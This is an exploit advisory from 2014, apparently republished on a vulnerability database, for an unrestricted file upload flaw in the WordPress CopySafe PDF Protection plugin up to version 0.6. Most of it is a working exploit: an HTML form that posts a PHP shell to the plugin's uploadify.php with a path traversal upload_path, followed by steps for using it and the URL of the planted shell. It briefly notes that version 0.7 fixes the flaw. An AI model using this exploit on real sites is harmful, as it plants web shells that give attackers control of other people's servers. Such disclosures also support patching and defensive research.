`##################################################################################################
#Exploit Title : Wordpress Plugin CopySafe PDF Protection Shell Upload
vulnerability
#Author : Jagriti Sahu
#Download Link : http://wordpress.org/support/plugin/wp-copysafe-pdf
#version affected : 0.6 and below
#Date : 14/07/2014
#Discovered at : IndiShell Lab
#Love to : Surbhi, Mradula and Harry
##################################################################################################
////////////////////////
/// Overview:
////////////////////////
Wordpress Plugin CopySafe PDF Protection(upto version 0.6) suffers
from unrestricted file upload vulnerability which allow an attacker to
upload malecious php shell on server.
to avaid exploitation , update plugin to version 0.7
///////////////////////////////
// Vulnerability Description:
///////////////////////////////
vulnerability is due to lib/uploadify/uploadify.php file in which there
is no check during file upload
attacker need to forward file upload request to this file with PHP
shell and file upload path
///////////////////////
/// exploit code ////
///////////////////////
<form
action="http://website.com/wp-content/plugins/wp-copysafe-pdf/lib/uploadify/uploadify.php"
method="post"
enctype="multipart/form-data">
<label for="file">Filename:</label>
<input type="file" name="wpcsp_file" ><br>
<input type=text name="upload_path" value="../../../../uploads/">
<input type="submit" name="submit" value="Submit">
</form>
save this code on you machine as exploit.html
open exploit.html into webbrowser, brows your php shell and click
submit button
shell will be uploaded in uploads directory
http://website.com/wp-content/uploads/shell.php
`
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation